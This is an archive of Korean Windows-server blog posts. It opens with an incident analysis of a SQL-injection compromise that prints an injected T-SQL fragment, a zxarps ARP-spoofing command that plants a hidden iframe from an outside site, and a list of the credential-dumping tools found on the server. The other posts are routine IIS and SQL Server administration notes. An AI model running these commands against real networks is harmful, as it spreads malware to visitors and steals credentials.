2008/01/28

SQL Injection 해킹 관련 자료, zxarps.exe Cain & Abel 등

다음 관련 데이터 및 로그는 실제 Sql Injection 해킹된 서버에서, 해당 서브넷에서 Arp Spoofing 시도를 위한 일부 입니다. 이와 관련된 해킹 방어 대책은 인터넷에 수없이 공개되어 있으므로 참고만...^^

DDoS 공격사례, 기법 및 이를 위한 Arp Spoofing 등 기술문서
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=388

공개용 웹 방화벽 프로그램을 이용한 홈페이지 보안 - krcert
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=312

해킹, 악성코드등 보안 점검 자료 및 정보
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=310

Sql Injection 침해 흔적을 통한 보안점검
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=281




권한이 높은 DB 계정을 이용하는  웹사이트의 코드 허술함을 이용하는 Sql Injection 기법에 의해서, 해당 SQL Server 에 DTS 패키지가 등록되어 있는 상태



DTS패키지는, 데이터 원본(ODBC) 에 등록된 해당 프로바이더 연결을 이용하여 쿼리 데이터를 텍스트 파일 형식의 .asp 파일로 저장.

보통 주로 C:\ 루트나, 해당 웹사이트 루트 또는 특정 폴더 생성이나 이미 있는 폴더내에 생성하는 경우가 많으며 확장자는 주로 1.asp, 2.asp, 111.asp 등의 파일명 패턴을 가지고 있음.

'xpsqlbot.dll' 버전 '2000.80.2039'을(를) 사용하여 확장 저장 프로시저 'xp_qv'을(를) 실행합니다.
'xpstar.dll' 버전 '2000.80.2039'을(를) 사용하여 확장 저장 프로시저 'xp_ntsec_enumdomains'을(를) 실행합니다.
'xplog70.dll' 버전 '2000.80.2039'을(를) 사용하여 확장 저장 프로시저 'xp_msver'을(를) 실행합니다.


이벤트 형식: 정보
이벤트 원본: MSSQLSERVER
이벤트 범주: (2)
이벤트 ID: 17055
설명:
8128 :
'odsole70.dll' 버전 '2000.80.2187'을(를) 사용하여 확장 저장 프로시저 'sp_OACreate'을(를) 실행합니다.


특정 OLE 개체의 인스턴트를 만들기 위해서 'sp_OACreate' 확장 저장프로시져를 호출

이벤트 형식: 오류
이벤트 원본: MSSQLSERVER
이벤트 범주: (6)
이벤트 ID: 17055
설명:
3041 :
BACKUP이 실패하여 'Select Count(*),CEILING(CAST(Count(*) AS FLOAT)/16) FROM xxx.xxxx A inner join xxxx.xxxx B on A.no = B.no Where B.Pt is not null And B.Category = '24';declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x64003A005C0057005700
57005F0052004F004F0054005C007300730068006F00770071007500650065006E0
02E0063006F006D005C0031003200330
02E00610073007' 명령이 완료됩니다.



zxarps.exe -idx 0 -ip 120.xxx.xxx.xxx,120.xxx.xxx.xxx -port 80 -insert "<iframe src=http://mail.xxxxx.co.kr/help/i.htm width=0 height=0 ></iframe>"
1.bat
addins.zip
cmd.bat
WinPcap_4_1_beta.exe
zxarps.exe


해당 서버에는 Arp Spoofing 을 위해서 관련 툴을 다운로드. zxarps 툴은 해당 서브넷의 게이트웨이를 점유해서 서브넷내의 웹서버에서 클라이언트로 다운로드 되는 웹페이지 상단에 iframe 을 삽입함. 이전의 해당 웹서버의 index.asp 파일등을 변조하는 것보다 훨씬더 효과가 큼.

\system32
packet.dll
wanpacket.dll
wpcap.dll

\1025\sam\gethashes.exe
\1025\sam\getsyskey.exe
\1025\sam\saminside.exe

\sql server\mssql\bin
xp_nped.dll


시스템 폴더 및 SQL Server 폴더에 추가적인 해킹 및 Arp Spoofing 툴이 설치되는데, 중국어권 에서는 Arp Spoofing 툴로 매우 유명한 zxarps.exe 툴이 설치되어 있으며 해당 폴더에는 윈도우계정 생성 및 Arp Spoofing 를 위한 패킷 드라이버인 WinCap 이 설치됨.

C:\WINDOWS\system32\1025\Cain 디렉터리

2007-12-09  오전 12:07    <DIR>          .
2007-12-09  오전 12:07    <DIR>          ..
2007-12-09  오전 12:03                 0 80211.LST
2007-10-09  오후 06:06            30,720 Abel.dll
2007-10-09  오후 06:14                66 Abel.dll.sig
2007-10-09  오후 06:13            27,648 Abel.exe
2007-10-09  오후 06:14                66 Abel.exe.sig
2007-10-09  오후 06:13           989,184 Cain.exe
2007-10-09  오후 06:14                66 Cain.exe.sig ......


주로 시스템의 계정 해킹에 이용되는 툴중에 매우 공개된 강력한 툴인 Cain & Abel 이 추가적으로 설치됨. 웹사이트: http://www.oxid.it

[서비스]에는 Remote Packetk 이 설치됨.
실행파일은 C:\WINDOWS\system32\Seveer.exe
C:\Documents and Settings\field\바탕 화면\xc02.exe


Remote Packetk 에 관련된 자료가 거의 없어서 정확이 어떤 역할을 하기 위해서 설치를 한것 인지는 모르겠으나, 원격 명령 또는 관리를 위해서 설치한 툴로 추정됨.

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]
"F"=hex:02,00,01,00,00,00,00,00,82,43,b8,5d,03,39,c8,01,00,00,00,00,00,00,00,\
  00,06,95,e2,6f,66,a6,c7,01,00,00,00,00,00,00,00,00,7a,b5,49,46,9c,39,c8,01,\
  f4,01,00,00,01,02,00,00,10,02,00,00,00,00,00,00,01,00,69,00,01,00,00,00,00,\
  00,00,00,00,00,00,00 ........


윈도우 계정 생성을 위한 레지스트리 등록하며, 계정명은 주로 Field 임.


27-sql_injection_dts.gif
27-sql_injection_dts_2.gif

NetPing - 서브넷 ping 모니터링 도구



Microsoft 오픈소스 프로젝트인 CodePlex 프로젝트중에 하나인 NetPing 입니다.

다운로드: http://www.codeplex.com/NetPing

지정된 서브넷의 네트워크에 대해서 Ping 모니터링을 할수 있는 도구이며, 기본값은 실행하는 컴퓨터의 서브넷입니다. 이러한 유틸은 꽤 많이 존재합니다.

Active Directory 환경에서 도메인 관리자 권한이 있는 계정으로 실행을 한다면 Uptime 및 Operating System 항목도 체크가 가능합니다.

아쉬운점이 있다면,. 몇초나 몇분마다 체크할수 있는 스케쥴링 기능이나 검색된 목록을 Export 할수 있는 기본적인 기능이 추가 되었으면 좋을것 같습니다.^^


27-netping.gif

DBCC 명령어 - 데이터베이스, 테이블, 인덱스, 카탈로그, 파일그룹 관리

유지 관리: 데이터베이스, 인덱스 또는 파일 그룹에 대한 유지 관리 작업

DBCC CLEANTABLE
테이블 또는 인덱싱된 뷰의 삭제된 가변 길이 열에서 공간을 반환

DBCC INDEXDEFRAG
지정된 테이블 또는 뷰의 인덱스를 조각 모음
(*2005 이후에는 지원되지 않음. ALTER INDEX로 대체됨)

DBCC DBREINDEX
지정한 데이터베이스의 테이블에 대해 하나 이상의 인덱스를 다시 작성
(*2005 이후에는 지원되지 않음. ALTER INDEX로 대체됨)

DBCC SHRINKDATABASE
지정한 데이터베이스에 있는 데이터 및 로그 파일의 크기를 축소

DBCC DROPCLEANBUFFERS
버퍼 풀에서 빈 버퍼를 모두 제거

DBCC SHRINKFILE
지정한 데이터 또는 로그 파일의 크기를 축소하거나 데이터를 같은 파일 그룹의 다른 파일로 이동

DBCC FREEPROCCACHE
프로시저 캐시에서 모든 요소를 제거

DBCC UPDATEUSAGE 
카탈로그 뷰의 부정확한 페이지와 행 개수를 보고하고 수정

 
기타: 추적 플래그 설정이나 메모리에서 DLL 제거 같은 기타 작업

DBCC dllname(FREE)
지정된 확장 저장 프로시저 DLL을 메모리에서 언로드

DBCC TRACEON
지정한 추적 플래그를 설정

DBCC TRACEOFF
지정한 추적 플래그를 해제

DBCC HELP
지정한 DBCC 명령의 구문 정보를 반환


알림
: 다양한 정보를 수집하고 표시하는 작업

DBCC CONCURRENCYVIOLATION
SQL Server 2000 Desktop Engine 또는 SQL Server 2000 Personal Edition에서 다섯 개가 넘는 일괄 처리가 동시에 실행되는 횟수에 대한 통계를 표시 (*2005 에서는 하위 호환성을 위해 지원)

DBCC SHOW_STATISTICS
지정한 테이블에서 특정 대상에 대한 현재 배포 통계를 표시합니다.

DBCC INPUTBUFFER
클라이언트가 Microsoft SQL Server 2005 인스턴스로 마지막으로 전송한 문을 표시

DBCC SHOWCONTIG
지정한 테이블이나 뷰의 데이터와 인덱스에 대한 조각화 정보를 표시(*2005 이후는 지원되지 않음)

DBCC OPENTRAN
지정한 데이터베이스에서 가장 오래된 활성 트랜잭션과 가장 오래된 분산 및 비분산 복제 트랜잭션에 대한 정보를 표시

DBCC SQLPERF
모든 데이터베이스에서 트랜잭션 로그 공간이 사용된 방법에 관한 통계를 제공

DBCC OUTPUTBUFFER
지정된 session_id의 현재 출력 버퍼를 16진수와 ASCII 형식으로 반환

DBCC TRACESTATUS
추적 플래그의 상태를 표시

DBCC PROCCACHE
프로시저 캐시에 대한 정보를 테이블 형식으로 표시

DBCC USEROPTIONS
현재 연결에 설정된 SET 옵션을 반환


유효성 검사: 데이터베이스, 테이블, 인덱스, 카탈로그, 파일 그룹 또는 데이터베이스 페이지 할당에 대한 유효성 검사 작업

DBCC CHECKALLOC
지정된 데이터베이스에 대한 디스크 공간 할당 구조의 일관성을 검사

DBCC CHECKFILEGROUP
현재 데이터베이스의 지정한 파일 그룹에서 모든 테이블과 인덱싱된 뷰의 할당 및 구조적 무결성 검사

DBCC CHECKCATALOG
지정한 데이터베이스 내의 카탈로그 일관성을 검사

DBCC CHECKIDENT
지정한 테이블의 현재 ID 값을 검사하고 필요에 따라 변경

DBCC CHECKCONSTRAINTS
현재 데이터베이스의 지정한 테이블에서 특정 제약 조건이나 모든 제약 조건의 무결성을 검사

DBCC CHECKTABLE
테이블 또는 인덱싱된 뷰를 구성하는 모든 페이지 및 구조의 무결성을 검사

DBCC CHECKDB
지정한 데이터베이스에서 모든 개체의 논리적 무결성 및 물리적 무결성을 검사

2008/01/27

IIS 7 (Windows Server 2008) 에 ASP.NET 1.1을 설치하는 방법

MDSN 문서중, IIS MVP 송원석님이 한글로 번역해 놓은 문서 입니다.

IIS7에 ASP.NET 1.1을 설치하는 방법:
http://www.microsoft.com/korea/msdn/library/ko-kr/ASP_NET11/html/default.aspx


1: "IIS 메타베이스 호환성" 설치
2: .NET 프레임워크 v1.1 과 .NET 프레임워크 v1.1 SP1 설치
3: ASP.NET v1.1 ISAPI 익스텐션 활성화
4: ASP.NET v1.1 machine.config 파일에 IgnoreSection 헨들러 추가
5: ASP.NET 1.1 응용 프로그램 풀로 사이트 또는 응용 프로그램 이동

그리고, 다음 문서는 iis.net 문서 입니다. 내용은 대동소이 합니다.

How to install ASP.NET 1.1 with IIS7 on Vista and Windows 2008:
http://learn.iis.net/page.aspx/472/how-to-install-aspnet-11-with-iis7-on-vista-and-windows-2008/

IIS7에서 ASP.NET 1.x 기반 웹사이트를 호스팅할 일이 거의 없을듯 싶지만,. 기존에 IIS5 및 IIS6 에서 운영중이던 사이트를 Windows Server 2008로 마이그레이션 할 경우에는 필요하겠지요.^^

요즘에 새로 구축되는 닷넷기반 웹사이트는 거의 대부분 ASP.NET 2.0 인것 같습니다.

2008/01/26

SQL Server 인스턴스 간에 로그인 및 암호 동기화

다음 내용은

SQL Server 2005 인스턴스 간에 로그인 및 암호를 전송하는 방법:
http://support.microsoft.com/kb/918992/  

의 문서 내용중 쿼리 스크립트에 관련된 것인데,. 특히 SQL 의 DB 이전이나 복원시에 요긴하게 쓸수 있는 스크립트 입니다.

어디에 있는줄은 알지만, 필요할때 곧장 찾을려니 찾는데도 시간 걸리네요.. -_-;

해당 쿼리의 핵심은 다음의 패스워드 관련 부분입니다.


CREATE PROCEDURE sp_hexadecimal
    @binvalue varbinary(256),
    @hexvalue varchar (514) OUTPUT
AS
DECLARE @charvalue varchar (514)
DECLARE @i int
DECLARE @length int
DECLARE @hexstring char(16)
SELECT @charvalue = '0x'
SELECT @i = 1
SELECT @length = DATALENGTH (@binvalue)
SELECT @hexstring = '0123456789ABCDEF'
WHILE (@i <= @length)
BEGIN
  DECLARE @tempint int
  DECLARE @firstint int
  DECLARE @secondint int
  SELECT @tempint = CONVERT(int, SUBSTRING(@binvalue,@i,1))
  SELECT @firstint = FLOOR(@tempint/16)
  SELECT @secondint = @tempint - (@firstint*16)
  SELECT @charvalue = @charvalue +
    SUBSTRING(@hexstring, @firstint+1, 1) +
    SUBSTRING(@hexstring, @secondint+1, 1)
  SELECT @i = @i + 1
END

SELECT @hexvalue = @charvalue
GO


계정에 관련된 정보는 Master DB의 [sysxlogins] 테이블의 sid 및 password 입니다. 이 부분을 위와 같은 프로시져로 값을 변환하여 각 계정별 목록에 대해서 fetch 로 돌아가면서 대상 SQL 서버에서 실행할 쿼리문을 생성해 줍니다.

사용자 계정의 예를 보면,.

sid: 0x1D499426EEBDF6489CF08E61E7CAE31E
password: 0x01000D311E144B09CFA96A91D6D66EF23C6206FD351ED1AE0793AF8970778E4BBB
57EC1DCEACD8D9426EA6AD4D83

와 같은 형식입니다.


그냥 문서에 있는  쿼리 긁어다가 원본 서버에서 실행후, 마지막으로 sp_help_revlogin 프로시져를 호출해 주면 결과값에 새로운 쿼리 문자열을 출력해 주는데 그것을 대상 서버에서 실행만 하면 됩니다.

-- Login: wssplex
CREATE LOGIN [wssplex] WITH PASSWORD = 0x0100B5CADC010327F0750FE9067CE14E1ECE5A9EB78EEC359175 HASHED, SID = 0x54C8BC424A72FF4CBF6D4B04F49E518B, DEFAULT_DATABASE = [wssplex], CHECK_POLICY = OFF, CHECK_EXPIRATION = OFF


다만,. 실제 운영하는 DB와는 상관없는 [sysxlogins] 테이블에 등록된 기존의 Windows 로그인이나 SQL Server 에서 생성한 기본 계정들까지 모두 만들어 내므로 대상서버에서 실행전에 불필요한 계정 쿼리는 삭제후 실행하면 될것 같습니다.^^

그외,. SQL Server 7 이나 SQL Server 2000 그리고 SQL Server 2005 의 버젼간에는 스키마의 차이점 때문에 아래와 같은 kb를 참고해서 해주면 됩니다.


SQL Server 인스턴스 간에 로그인 및 암호를 전송하는 방법:
http://support.microsoft.com/kb/246133/

SQL Server 7.0 <---> SQL Server 7.0 
SQL Server 7.0  <---> SQL Server 2000
SQL Server 2000 <---> SQL Server 2000


물론, 위와 같은 스크립트는 원래 DB의 테이블이나 뷰, 프로시져등등에 해당 사용자 DB 계정의 소유권등이 설정되어 있을 경우에 효과적입니다.

--> 사용자 DB의 [sysobjects] 테이블의 uid 컬럼을 dbo 로 변경을 해주면 작업이 훨씬 간단해 지지만,. 프로시져나 뷰등의 내부 쿼리문에 특정 사용자를 지정한 경우에는 오류가 날수도 있습니다.

그렇지만,. 모든 스키마를 dbo 로 생성한 경우에는 그냥, 대상서버에서 기존 계정 삭제후, 새로운 계정을 다시 설정해 주는게 훨씬 편하지 않나 싶습니다.^^

Microsoft Web Deployment Tool - 웹사이트 동기화/스냅샷/마이그레이션

기존에, IIS6 및 IIS6 용 웹사이트 마이그레이션 툴이 배포되었습니다만,. 이번에는 IIS팀에서 IIS6 및 IIS7 을 위한 새로운 마이그레이션 툴을 개발하고 있는것 같습니다.

IIS 6.0 마이그레이션 툴 (Migration Tool):
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=134

IIS 5 로 마이그레이션(Migration) 하기:
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=133


Microsoft Web Deployment Tool 이며, 현재 CTP 단계이므로, 추후 조금더 개선이 되지 않을까 싶습니다. 이전 마이그레이션 툴과는 다르게 현재의 Microsoft Web Deployment Tool 은 명령행 기반입니다.

다운로드: http://www.iis.net/downloads/default.aspx?tabid=34&g=6&i=1602


다운로드 패키지내, 도움말 문서는 19개 워드 파일이 함께 들어가 있으므로 참고를 하면 쉽게 이용을 할수가 있을것 같습니다. 복잡하지도 않은것 같습니다.^^


간략하게 몇가지 기능을 보면,.

- IIS6/7 사이트나 서버를 다른 사이트나 서버로 동기화나 백업
- IIS6 사이트나 서버를 IIS7으로 마이그레이션
- IIS6에 허용한 기능들을 파악하여 IIS7에서 허용해야하는 기능 정리
- 가상 작업을 통해서 배포의 결과를 분석



Microsoft Web Deployment Tool 의 방식은, 로컬 및 원격이라는 2가지 작업 방식을 제공합니다.

로컬/원격의 웹사이트 분석 및 작업은 msdeploy.exe 는 이용하여 작업을 하는데, 원격의 경우에는 원격지에 원격 접속이 가능한 서비스를 추가로 설치해야 합니다.



C:\>net start msdepsvc
Microsoft Web Deployment Agent Service 서비스를 시작합니다..
Microsoft Web Deployment Agent Service 서비스가 잘 시작되었습니다.


위 msdepsvc 서비스는, 원격지에서의 접속을 허용하며, 자세한 아키텍쳐는 확인해 보지 못했지만 데이터 구조가 xml 기반으로, 웹서비스 구조를 취하고 있는것 같습니다.

-> 원격지에 바로 적용이나 확인이 아닌 경우에는 굳이 서비스를 설치할 필요는 없습니다. 로컬에서 얻어진 설정파일을 원격지에 가져가서 적용하면 되기 때문입니다.


기본 설치값은 80포트 바인딩이 되어 있습니다. 물론 이는 기존의 IIS 에 설정된 웹사이트에는 영향을 주지 않으며,  http://wssplex-vm1/MSDEPLOY/ 와 같은 원격접속 주소를 제공합니다.

물론 위 설정값은 다음 처럼 별도의 포트에 바인딩이 가능합니다.

msiexec /i wdeploy.msi /passive ADDLOCAL=ALL LISTENURL=http://+:8080/MSDEPLOY2/


그러면,  IIS 설치시 기본으로 설정되어 있는 기본 웹사이트 인스턴스의 종속성을 체크해 보면,.

msdeploy.exe -verb:getDependencies -source:metakey=lm/w3svc/1

<dependencyInfo>
  <dependencies>
    <dependency name="Metabase" />
  </dependencies>
  <apppoolsInUse>
    <apppoolInUse name="DefaultAppPool" definitionIncluded="False" />
  </apppoolsInUse>
  <cgis />
  <isapis />
  <drives totalSpace="4745659">
    <drive name="c:" size="4745659" isUnc="False" sizeWindir="0" sizeInetpub="4745659" />
  </drives>
</dependencyInfo>


와 같은 xml 타입을 리턴해 줍니다.


이와 같은 값은 실제 원격지에 마이그레이션이나 동기화 작업시에 원격지로 전달되는 데이터 입니다.

msdeploy -verb:migrate -source:metakey=lm/w3svc/1,targetName=http://serverinfo/MSDEPLOY/ -dest:metakey=lm/w3svc/1-whatif > msdeploymigrate.log

참고로 원격지에 적용할려는 경우, 원격지 서버에 대한 Administrator 권한이 있어야 합니다.


msdeploy.exe 는 여러가지 파라미터를 이용할수 있으므로, 도움말 및 설명서를 참고하면 다양한 작업이 가능해 집니다. 위 내용은 웹사이트에 관련된 사항이나, 웹서버 전체를 마이그레이션 하는 것도 지원합니다.

다만 현재 CTP 상태이므로 몇가지 이슈가 있으므로 테스트 목적외 실 서비스에 적용하는 것은 베타나 RC, RTM 정도가 되었을때 테스트후 적용이 가능하지 않나 싶습니다.^^



25-msdeploy-1.png

2008/01/24

Microsoft .NET Framework 2.0 설치 문제를 해결하는 방법

보통 Microsoft Update 를 하면 설치되는 항목중에 하나이지만,. ASP.NET 2.0 기반 웹사이트를 운영하는 경우에는 필수인 항목입니다.

종종,. 특정 소프트웨어 설치나 업데이트 과정에서 .NET Framework 의 일부 파일이 손상되거나 속성값이 변경되는 경우가 있어서 작동이 안되는 경우에는 다음 kb 문서를 참고하여 복구를 하면 될것 같습니다.

Microsoft .NET Framework 2.0 설치 문제를 해결하는 방법:
http://support.microsoft.com/default.aspx/kb/908077/ko




가장 먼저 해볼수 있는 방법은, 기존에 설치된 MSI 패키지를 이용하여 복구모드를 해보는 방법이며 그 그래도 안되면,. .NET Framework 관련 파일 및 레지스트리를 삭제후 새로 설치하는 방법에 대한 내용입니다.


23-NETFramework2.png

CDO.Message 를 이용한 메일 전송 Vbscript

NT 및 Windows 200 에서는 CDONTS 를 이용 했었습니다.

물론 Windows 2000 에서는 CDO 를 추가적으로 지원하여 이용할수 있으나 공식적으로 Microsoft 는 CDONTS 보다는 CDO 를 이용하기를 권장하고 있으며, Windows Server 2003 에서는 아예 CDONTS 를 기본 컴포넌트로 넣지도 않았습니다.

Set Message = CreateObject("CDONTS.NewMail")
With Message
.To =
'receive@wssplex.net'
.Subject = '메일 제목'
.Body = '메일 본문'
.Send



Vbscript 를 이용해서 메일을 보내는 일이 점점 없어질듯 싶기는 합니다. 물론 Asp 가 Vbscript 기반으로 대부분 코드가 작성되므로 웹개발자에게는 여전히 유효할것 이지만,..^^

Set objMessage = CreateObject("CDO.Message")
objMessage.Subject = "메일 제목"
objMessage.From =
sender@wsspelx.net
objMessage.To = receive@wssplex.net
objMessage.TextBody = "메일 본문"
objMessage.Send


다음 문서는, Vbscript 기반으로 CDO를 이용한 다양한 예제의 메일 발송 스크립트 잘 정리해 놓은것 같습니다.

http://www.paulsadowski.com/WSH/cdo.htm

물론, 위 내용 대부분은 이미 MSDN 에 있는 내용들입니다. MSDN 을 참고하면 좀더 세부적이고 다양한 제어를 할수 있는 코드를 작성할수 있습니다.

http://msdn2.microsoft.com/en-us/library/aa488400.aspx

물론 해당 서버에 Exchange Server 가 설치되어 있는 경우에는, 메일 발송시 Exchange Server 를 이용한 훨씬 더 다양한 방법을 이용할수 있습니다.

IIS FTP(파일 전송 프로토콜) 서비스에 대한 정보

IIS FTP(파일 전송 프로토콜) 서비스에 대한 Knowledge Base 문서로, Active 모드 FTP 와 Passive 모드 FTP 에 대한 설명 및 각 모드에서의 FTP 명령 전송 과정을 설명해 놓았습니다.

IIS FTP(파일 전송 프로토콜) 서비스에 대한 정보:
http://support.microsoft.com/default.aspx/kb/283679/ko


참고문서

http://pintday.org/whitepapers/ftp-review.shtml 를 보면, Active 모드, Passive 모드의 차이점을 서버와 클라이언트간 연결 그림을 통해서 쉽게 이해할수 있을것 같습니다.

IIS FTP에 패시브모드 포트 범위 설정:
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=212

2008/01/21

rasctrs / ID: 2001

이벤트ID(2001)(원본(rasctrs)에 있음)에 대한 설명을 찾을 수 없습니다.
로컬 컴퓨터에 원격 컴퓨터에서 보낸 메시지를 표시하기 위해 필요한 레지스트리 정보또는 메시지 DLL파일이 없을 수 있습니다. 다음 정보는 이벤트의 일부입니다.
이벤트 로그 파일이 손상되었습니다.

이리 나오거든요

근데 이벤트뷰어 에서 응용프로그램은 보이는데 시스템 로그만 안보여서 DLL파일쪽은 아닌것 같은데 어딜 찾아봐도 ~ 없네요~ ㅜㅜ 부탁 좀 드리겠습니다~
지금 한 1주일째 이거에만 ㅜㅜ

2008/01/18

Perflib / ID: 1021

64비트 환경에서 32비트 확장 카운터 DLL DTSPipeline을(를) 열 수 없습니다.
64비트 버전을 구하려면 파일 공급업체에게 연락하십시오.
다른 방법으로는 32비트 버전의 성능 모니터를 사용하여 32비트 확장 카운터
DLL을 열 수 있습니다. 이 도구를 사용하려면 Windows 폴더를 열고
Syswow64 폴더를 연 후 Perfmon.exe를 실행하십시오.

2008/01/17

IIS7, NT Service 도 NTFS 권한 설정이 가능?

IIS MVP 송원석님(http://www.egocube.pe.kr/)이 http://www.iis.net/ 문서를 번역해서 올려주고 계신, IIS7 관련된 기능 설명 문서를 보다가 문서를 번역하시면서 다음과 같은 의문점이 있었다고 합니다. (지금은 찾으셨을라나??)

개인적으로 본문을 번역하면서 이 조그마한 섹션의 검증이 가장 힘들었다. 지난 글에서 얘기했던 바와 같이 WMSVC 는 로컬 서비스 계정으로 실행된다. 그런데 갑자기 NT Service\WMSVC 라는 계정은 또 무슨 난데없는 얘기란 말인가? 처음에 필자는 일련의 번역이 잘못된 것이나 아닌지 몹시 당황할 수 밖에 없었다. 왜냐하면 그 어디에도 WMSVC 라는 이름의 계정을 찾을 수 없었기 때문이다. 2008 RC0 를 몇 번이나 재부팅해보기도 하고, 관리 서비스 설정을 이리저리 바꿔보며 테스트를 해봤지만 도무지 이 계정을 찾을 수가 없었던 것이다.

결국 이러한 결과들을 미루어 볼 때, 아무래도 2008 RC0 에서는 계정 지정을 위한 새로운 문법이 도입된 것이 아닌가 하는 추측을 하게 되었다. 즉, "NT Service\" 문자열에 서비스 이름을 붙이면 해당 서비스를 실행할 때 사용되는 서비스 계정을 의미하는 것으로 보인다. 실제로 여러가지 서비스 이름으로 테스트를 해보았는데, 모두 생각한 대로 동작했다. 그리고, 이러한 기능이 혹시 예전부터 제공되는 것임에도 불구하고 필자가 모르고 있었던 것은 아닌가 의심되어 윈도우 서버 2003 상에서도 동일한 테스트를 해보았으나 이 경우에는 전혀 인식을 하지 못했다. 이 부분에 대해 추가적인 정보를 알고 계신 분이 계시다면 필자에게 연락을 부탁드린다.



다음과 같은 경우입니다. 직접 추가를 한게 아니라, 몇몇 폴더나 파일에는 기본값으로 보통의 계정이나 그룹이 아닌 이름이 추가되어 있습니다.



위 ACL 의 계정 목록을 보면, WMSvc 라는게 추가되어 있습니다. 그러나 실제 계정관리나 ACL 에서의 계정/그룹 추가의 검색 목록에는 전혀 나오지 않는 그룹? 명입니다.



검색목록에서 Object 를 계정이나 그룹이 아닌 다른것을 혹시 추가로 지정가능한지 확인해 보았으나 역시 기존 Windows Server 2003 과 동일합니다.



기본값인, 빌트인 및 그룹, 계정만 선택할수 있게 되어 있습니다.



설명 문서에는, NT Service\WMSvcNT Service\W3SVC 같은 형식의 계정명? 을 넣고 이름 체크를 해보면 다음과 같이 이름 확인이 정상으로 체크 됩니다.



지금 까지는 NTFS 의 ACL 설정은, 빌트인, 그룹, 계정만 설정이 가능했습니다. 그런데 어떻게 서비스 이름으로 권한설정이 가능한걸까요?..



W3SVC 서비스는 LocalSystem 계정으로 서비스가 실행되며, WMsvc 는 Local Service 계정으로 실행되고 있습니다. 그런데 굳이 NTFS 권한설정에 서비스에 대한 NTFS ACL 설정이 가능하게 되어 있을까요?..


이에 대한 정확한 설명이 되어 있는 문서를 찾기 어려운 상황이라 뭐라 얘기하기는 어렵지만, 필자가 추측해 보기로는 권한을 좀더 세분화? 하기 위한 목적이 아닌가 싶습니다. 아님 자구책?



이를테면,. IIS Manager Users 에 추가된 계정은 실제 NTFS 계정권한도 아닐 뿐더러 위임된 웹사이트 관리는 원격지의 IIS Manager 툴에서 접속 대상 서버측의 Web Management Service (기본포트:8172) 를 통해서 접속이 됩니다.



그러면,. 실제 웹서버측에서는 Web Management Service (WMSvc) 는 Local Service 계정으로 서비스가 실행이 되지만,. 폴더에 접근을 할때에는 LOCAL SERVICE 계정이 접근을 하지만 실제 적으로는 WMSvc 서비스가 NFTS 권한 제어를 받게 되는 것입니다.



이것은 장점은, Local Service 는 수많은 서비스의 실행 계정으로 작동을 하지만,. 특정 폴더에 대해서 특정 서비스만 접근이 가능하도록 할 경우에 매우 효과적인것 같습니다.^^

말하자면,. IIS 원격관리자로 접근할때에는 Local Service 라는 다소 높은 권한으로 시스템에 접근을 하게 되는데요. 이때 취약점이나 우회하는 방법을 이용하여 시스템내 다른 리소스에 접근을 한다면 어떻게 될까요?.

이 부분을 직접 확인할려면, WMSvc 로그파일 폴더의 WMSvc 계정에 대한 ACL 을 변경후, WMSvc 계정에 대한 엑세스 감사 설정을 하시기 바랍니다. 그런다음에 ACL 을 변경해 가면서 로그파일이 남도록 원격 접속을 한다음에 보안 이벤트 로그를 검토해 보면 어느정도 답이 나오지 않을까 싶습니다.^^

다시 얘기하지만,. 공개된 문서가 아닌 필자의 추측에 의한 테스트 결과 이므로 실제 기술문서의 내용과 다를수 있습니다. 보시는 분이 스스로 잘 필터링 하셔서 보시면 되며,. 정확한 자료나 잘못된 부분이 있으면 댓글로 코멘트 부탁드립니다.^^


16-WindowsServer2008NTFSACL-1.png
16-WindowsServer2008NTFSACL-2.png
16-WindowsServer2008NTFSACL-3.png
16-WindowsServer2008NTFSACL-4.png
16-WindowsServer2008NTFSACL-5.png
16-WindowsServer2008NTFSACL-6.png
16-remote_iismanager-1.png
16-remote_iismanager-2.png
16-remote_iismanager-3.png

2008/01/15

ASP.NET 2.0.50727.0 / ID: 1024

W3SVC를 다시 시작하지 못했습니다. 오류 코드: 0x8007041d

IIS7 과 분리된 SMTP Server

기존의 IIS6 까지는 IIS 설치에 SMTP 가 포함이 되어 있었습니다. 그러나 IIS7에서는 SMTP는 별도의 기능군으로 분류가 되어 있습니다.

왜 일케 했는지는 모르겠군요...^^  정식출시에는 바뀔라나요?..^^




SMTP를 관리하기 위해서 Remote Server Administration Tools 의 SMTP Server Tools 및 Web Server (IIS) 역할에서 관리툴중에 IIS 6 관리 호환 기능을 설치해야 합니다.

이상한?건 이를 관리하기 위해서 별도의 IIS 매니져 및 MetaBase.xml 을 둔다는 것입니다. 왜 IIS7과 통합되지 않고 생뚱맞게 이렇게 해놓았냐 말이지요.

FTP도 역시, 기존의 FTP가 설치되고 이 역시 기존의 IIS6 매니져를 통해서 설정을 해야 합니다. 뭐 FTP7 이 개발중이라고 하는데 RC1 이후 더 이상의 개발이나 추가가 없는 상태로 정식출시를 한다고 합니다. 정식출시에 추가가 되어 있지 않다면,. 뭐 Service Pack 1 에서 업뎃이 될것 같기도 하고..,. <Windows Server 2008 RC1 기준>



설치된 SMTP Server 의 설정은 기존의 IIS6 과 동일합니다.

CDO: {CD000001-8B95-11D1-82DB-00C04FB1625D}
C:\Windows\system32\cdosys.dll


Windows Server 2008 에서 웹서버를 운영하면서 SMTP 메일 발송이 필요한 경우라면 설치를 해야 하거나, 외부 SMTP 컴포넌트 설치를 통하면 될것 같습니다.


14-wsrv2008_smtp_server_1.png
14-wsrv2008_smtp_server_2.png

IIS7 Request Filtering Module (요청 필터링)

IIS6 까지 에서는, 일명 웹방화벽 모듈로 Microsoft 에서 제공하는 UrlScan 이나 WebKnight 를 사용하였는데요. IIS7 에서는 UrlScan 이 기존 IIS6 보다 훨씬더 많은 항목이 제어가 가능하도록 개선되었습니다. 그래도 부족해 보이긴 합니다. -_-;

이미 알고 있는 관리자들도 있겠지만,. IIS6 에서도 최소한의 요청 필터링 기능이 추가되어 있었으나 이러한 자체 기능으로는 부족하여 최근에는 WebKnight 가 필터링 모듈로는 거의 대세인듯 싶습니다. 그 많큼 다양하고 강력한 기능을 제공하고 있으니깐 말이지요,.



